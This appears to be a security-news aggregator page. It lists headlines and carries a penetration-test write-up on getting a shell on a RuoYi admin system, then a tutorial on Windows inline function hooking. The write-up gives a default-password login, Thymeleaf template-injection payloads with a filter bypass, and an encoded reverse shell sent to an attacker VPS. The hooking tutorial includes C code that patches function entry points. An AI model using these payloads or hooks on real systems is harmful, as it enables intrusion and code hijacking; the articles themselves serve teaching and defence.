Aggregator
APT-C-26(Lazarus)组织持续升级攻击武器,利用Electron程序瞄准加密货币行业
APT-C-26(Lazarus)组织持续升级攻击武器,利用Electron程序瞄准加密货币行业
APT-C-26(Lazarus)组织持续升级攻击武器,利用Electron程序瞄准加密货币行业
APT-C-26(Lazarus)组织持续升级攻击武器,利用Electron程序瞄准加密货币行业
CVE-2010-2436 | AneCMS AneCMS Blog 1.3 sql injection (EDB-34141 / XFDB-59436)
B站2025年第一个大瓜,“代码投毒”报复用户
Qilin
Космическое ничто: зачем мы изучаем пустоты во Вселенной
Information Security Manual (ISM)
What is the Information Security Manual (ISM)? The Information Security Manual (ISM) is a cybersecurity framework developed by the Australian Signals Directorate (ASD) to help organizations protect their IT and operational technology systems, applications, and data from cyber threats. The ISM is relevant to industries like government, defense, finance, healthcare, and other sectors where sensitive […]
The post Information Security Manual (ISM) appeared first on Centraleyes.
The post Information Security Manual (ISM) appeared first on Security Boulevard.
美国联邦贸易委员会命令通用汽车停止收集和出售驾驶员数据
CVE-2015-2679 | MetalGenix GeniXCMS up to 0.0.0 admin/ index.php username sql injection (Bug 130770 / EDB-36321)
The Next Era of Data Security: AI, Cloud, & Compliance - Jeff Smith, Dimitri Sirota, Kiran Chinnagangannagari - ESW #390
今日更新:第4章2节-模糊测试工具基础使用
开源工具 rsync 曝重大漏洞,黑客可越界写入缓冲区远程执行代码
学习PE文件后的第一次实践项目之DLL反射型注入
记一次攻防演练中的若依(thymeleaf 模板注入)getshell
记一次攻防演练中的若依(thymeleaf 模板注入)getshell
记一次攻防演练中幸运的从若依弱口令到后台getshell的过程和分析。
0x01 漏洞发现首先,我会先把目标的二级域名拿去使用搜索引擎来搜索收集到包含这个目标二级域名的三级域名或者四级域名的网站。
这样子可以快速的定位到你所要测试的漏洞资产。
1、推荐三个比较实用的搜索引擎:
奇安信-鹰图平台:https://hunter.qianxin.com/
360-quake: https://quake.360.net/
fofa: https://fofa.info/
搜索语法:domain="二级域名"
2、通过一番搜索查找翻阅,幸运女神光顾~~~。
通过搜索引擎搜索到包含目标的二级域名找到关于目标的的一个三级域名,而且还是漏洞百出的若依系统。
经典:你若不离不弃,我必生死相依
基于SpringBoot的权限管理系统,核心技术采用Spring、MyBatis、Shiro没有任何其它重度依赖
0x02 漏洞分析Thymeleaf模板注入漏洞简介
Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中使用th:fragment、 , th:text 这类标签属性包含的内容会被渲染处理。并且在Thymeleaf渲染过程中使用 ${...} 或其他表达式中时内容会被Thymeleaf EL引擎执行。因此我们将攻击语句插入到 ${...} 表达式中,会触发Thymeleaf模板注入漏洞。如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏洞。因为@ResponseBody 和 @RestController 不会进行View解析而是直接返回。所以这同样是修复方式。
漏洞点
Server-Side Template Injection简称SSTI,也就是服务器端模板注入。
我们在审计模板注入(SSTI)漏洞时,主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。在Controller层,我们关注两点:1、URL路径可控。2、return内容可控。所谓可控,也就是接受输入。
1、URL路径可控
@RequestMapping("/hello")public class HelloController {
@RequestMapping("/whoami/{name}/{sex}")
public String hello(@PathVariable("name") String name,
@PathVariable("sex") String sex){
return "Hello" + name + sex;
}
}
return内容可控
@PostMapping("/getNames")public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
return内容可控:
\_\_${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI
nputStream()).next()}\_\_::.x
URL路径可控:
\_\_${T(java.lang.Runtime).getRuntime().exec("touch test")}\_\_::.x
2、Ruoyi使用了thymeleaf-spring5,其中四个接口方法中设置了片段选择器:
http://xxxxxx/monitor/cache/getNames
http://xxxxxx/monitor/cache/getKeys
http://xxxxxx/monitor/cache/getValue
http://xxxxxx/demo/form/localrefresh/task
通过这四段接口,可以指定任意fragment,以/monitor/cache/getNames接口为例,controller代码如下:
@PostMapping("/getNames")public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
简单理解:接收到 fragment 后,在return处进行了模板路径拼接。根据代码我们知道根路径为 /monitor/cache ,各个接口路径分别为 /getNames , /getKeys , /getValue ,请求参数均为fragment 。
这四段接口方法中,都使用了thymeleaf的语法:
"/xxx::" + fragment;我们构造fragment的值为:
url编码:%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%64%6e%73%6c%6f%67%30%40%22%29%7d
↓
${T (java.lang.Runtime).getRuntime().exec("curl dnslog地址")}
当我们构造的模板片段被thymeleaf解析时,thymeleaf会将识别出fragment为SpringEL表达式。不管是?fragment=header(payload)还是?fragment=payload
但是,在执行SpringEL表达式之前,thymeleaf会去检查参数值中是否使用了"T(SomeClass)"或者"new SomeClass"
这个检查方法其实可以绕过,SpringEL表达式支持"T (SomeClass)"这样的语法,因此我们只要在T与恶意Class之间加个空格,就既可以绕过thymeleaf的检测规则,又可以执行SpringEL表达式。
因此payload中T与恶意Class之间含有空格,不论是空格或者制表符都可以绕过检测。
漏洞影响:RuoYi <= v4.7.1
1、回到之前的若依登录框,若依的管理系统肯定要试试看弱口令啦,用户admin,密码admin123。
非常nice,弱口令yyds,登录进入若依系统后台。
经过一番测试,后台定时任务执行不了命令,反弹shell不成功,更换了几个不同的payload都没效果,太菜了,咱也不知道为什么,其他的常见的漏洞任意文件读取、SQL注入、未授权访问啥的都没有,所以才会来测试一番Thymeleaf模板注入远程命令执行。
这四个接口路径都可以访问,我们使用第一个接口路径进行测试。
/monitor/cache/getNames/monitor/cache/getKeys
/monitor/cache/getValue
/demo/form/localrefresh/task
2、在若依管理系统后台直接访问/monitor/cache/getNames接口路径,使用burp suite拦截访问/monitor/cache/getNames路径的数据包。
访问/monitor/cache/getNames
使用burp suite拦截数据包
使用burp suite上自带的编码工具,使用base64编码反弹shell命令
/bin/bash -i >& /dev/tcp/vps IP/5566 0>&1构造fragment的值,把上面使用base64的编码放入下面的payload编码成url编码
${T (java.lang.Runtime).getRuntime().exec("bash \-c {echo,L2Jpbi9iYXNooC1poD4moC9kZXYvdGNwL3ZwcyBJUC81NTY2oDA+JjE=}|{base64,-d}|{bash,-i}")}把前面拦截到的访问/monitor/cache/getNames路径的数据包更改请求方式为POST,更改完请求方式后在访问路径后面拼接上我们刚刚经过url编码构造fragment的值。
/monitor/cache/getNames?fragment=%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%a0%5c%2d%63%20%7b%65%63%68%6f%2c%4c%32%4a%70%62%69%39%69%59%58%4e%6f%6f%43%31%70%6f%44%34%6d%6f%43%39%6b%5a%58%59%76%64%47%4e%77%4c%33%5a%77%63%79%42%4a%55%43%38%31%4e%54%59%32%6f%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%7d3、在vps上面使用nc监听5566端口,接收反弹shell。
把刚刚更改了请求方式为POST,拼接上url编码构造fragment的值的数据包发送出去,可以发到重发器多发几遍。
返回包返回状态200,应该是执行成功了。
回到vps查看监听状态,nice!!!成功,拿下拿下。
漏洞挖掘的过程中要有耐心、细心,把能试的漏洞都试一试,反正试一试又不要钱,说不定就getshell了呢。。。。。。
0x04 修复建议把若依系统更新到最新版本。
浅谈内联钩取原理与实现
导入地址表钩取的方法容易实现但是存在缺陷,若需要钩取的函数不存在导入地址表中,那么我们就无法进行钩取,出现以下几种情况时,导入函数是不会存储在导入地址表中的。
-
延迟加载:当导入函数还没调用时,导入函数还未写入到导入地址表中。
-
动态链接:使用LoadLibrary与GetProcAddress函数时,程序是显示获取函数地址的,因此不会写入到导入地址表中。
-
手动解析导入函数:即程序自身实现一套导入方法,那么此时也不会将导入函数写入到导入地址表中。
有一种钩取方法解决上述问题即内联钩取(inline hook)。
内联钩取(inline hook)内联钩取实际是找到需要钩取的函数地址,这里与导入地址表钩取不同的是我们不再局限于导入地址表,而是程序中所有的函数地址都能够作为钩取的对象。
这里以CreateProcessW函数为例,在CreateProcessW函数中,第一条指令是mov edi,edi
那么根据钩取的思路,我们将mov edi,edi这条指令修改为jmp xxx(xxx为我们自定义函数的地址),那么在执行CreateaProcessW函数时即可跳转到我们的自定义函数中。
我们获取mov edi,edi指令的地址,并且将该指令篡改为jmp指令,并且把mov edi,edi指令的数据进行存储,那么在执行到CreateProcessW函数时就会执行jmp指令跳转到自定义函数中,在钩取操作时需要将指令写回,还原CreateProcessW函数的执行逻辑,就可以在钩取的同时无碍的执行程序。
那么总结一下内联钩取函数的流程
-
找到需要钩取的函数的指令地址,这个指令并不仅限于函数起始的指令。
-
将该指令篡改成跳转指令,跳转的目的就是自定义的函数。
-
在自定义函数内需要还原被钩取函数的指令。
因此内联钩取的实际就是修改程序执行逻辑,劫持程序的执行流程。由于32位程序与64位程序的汇编语言与寻址方式有些许差异,因此不同机器位数的程序的内联钩取方式不同。
机器码的获取由于在篡改内存时需要将jmp xxx的机器码填写到内存中,因此做内联钩取时需要获取指令对应的机器码。在C语言中支持内联汇编,因此可以使用内联汇编然后查看对应的机器码即可。
但是直接使用visual studio编译64位程序的内联汇编代码会出错,这是因为visual studio自带的编译工具不支持x64的内联汇编。
因此需要先安装clang编译器
在项目的编译工具选择clang即可
在反汇编窗口中就有机器码了。
首先第一步是确定在32位程序下是如何进行跳转的,在32位情况使用跳转指令是根据偏移获取目的地址,偏移的计算公式如下
跳转偏移 = 跳转目的地址 - 当前指令地址 - 指令长度
因此jmp xxx中,xxx是偏移值而不是目的函数的绝对地址。
紧接着需要确定在32位下跳转指令的机器码是多少,用下面例子看看
void MyCreateProcess(){
}
int main()
{
__asm {
jmp MyCreateProcess;
};
}
可以看到对应的机器码为E9 EB FF FF FF
可以看到目标函数的地址为0xA71000,使用上述公式计算一下偏移为0xA71000 - 0x0A71010 - 5 = 0xffffffeb,因此E9为jmp的机器码
因此需要将待钩取函数的第一条指令修改为E9 XX XX XX XX XX,长度为5个字节
然后选择一个目标函数,这里还是使用CreateProcessW函数作为例子,需要先获取CreateProcessW函数的地址
...hMoudle = GetModuleHandleA(szDllName); //获取Kernel32.dll模块的地址
if (hMoudle == NULL)
{
GetLastError();
}
pfnOld = GetProcAddress(hMoudle, funName);//获取CreateProcessW函数地址
if (pfnOld == NULL)
{
GetLastError();
}
...
然后需要保存原始指令,然后修改区域为可写权限,紧接着计算一下偏移把完整的指令写进到待钩取函数即可。
...//修改权限
VirtualProtect(pfnOld, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
//存储原始的5个字节
memcpy(pOrgBytes, pfnOld, 5);
//计算需要跳转到的地址
//跳转偏移 = 跳转目的地址 - 当前指令地址 - 指令长度
dwAddress = (ULONGLONG)pfnNew - (ULONGLONG)pfnOld - 5;
//将目标函数的地址写入到指令中
memcpy(&pBuf[1], &dwAddress, 4);
//篡改为跳转指令
memcpy(pfnOld, pBuf, 5);
//还原权限
VirtualProtect(pfnOld, 5, dwOldProtect, &dwOldProtect);
... 64位的内联钩取
64位下的规则会与32位有差异,但是总体思路是一致的。在32位下我们采用了偏移的方式找到目标函数,在64位下可以换种方式,采用mov rax, xxx; jmp rax,将函数的绝对地址写入寄存器,然后跳转到指定寄存器的方式。
如下例子,我们首先获取自定义函数的绝对地址,紧接着将它存放于寄存器中,紧接着跳转即可。
int main(){
__asm {
mov rax, 0x1122334455667788;
jmp rax;
};
}
可以看到mov rax, xxx; jmp rax指令的机器码为48 B8 xx xx xx xx xx xx xx xx FF E0,其中由于64位地址都是8字节的,因此需要xx需要填充8字节
因此总体代码与32位区别不大,这里需要注意的是篡改的指令长度需要根据实际进行更改。
/** 48 B8 88 77 66 55 44 33 22 11 mov rax, 0x1122334455667788
* FF E0 jmp rax
* 需要12个字节进行跳转
*/
//修改区域权限
VirtualProtect((LPVOID)pfnOrg, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
//保存原有的12字节数据
memcpy(pOrgBytes, pfnOrg, 12);
//将HOOK函数的地址填进缓冲区
//将目标地址拷贝到指令中
memcpy(&pBuf[2], &pfnNew, 8);
//篡改待钩取函数
memcpy(pfnOrg, pBuf, 12);
//恢复权限
VirtualProtect((LPVOID)pfnOrg, 12, dwOldProtect, &dwOldProtect);
因此任意可以修改函数执行流程的汇编指令实际都可以例如push xxx; ret。
完整代码可以参考:
https://github.com/h0pe-ay/HookTechnology/tree/main/Hook-InlineHook
总结优势
-
内联钩取相较于导入表钩取的选择性更广,可以选择任意的函数及函数内的任意指令地址。
劣势
-
每次都需要脱钩后再进行挂钩,影响效率
-
多线程写入时可能会出错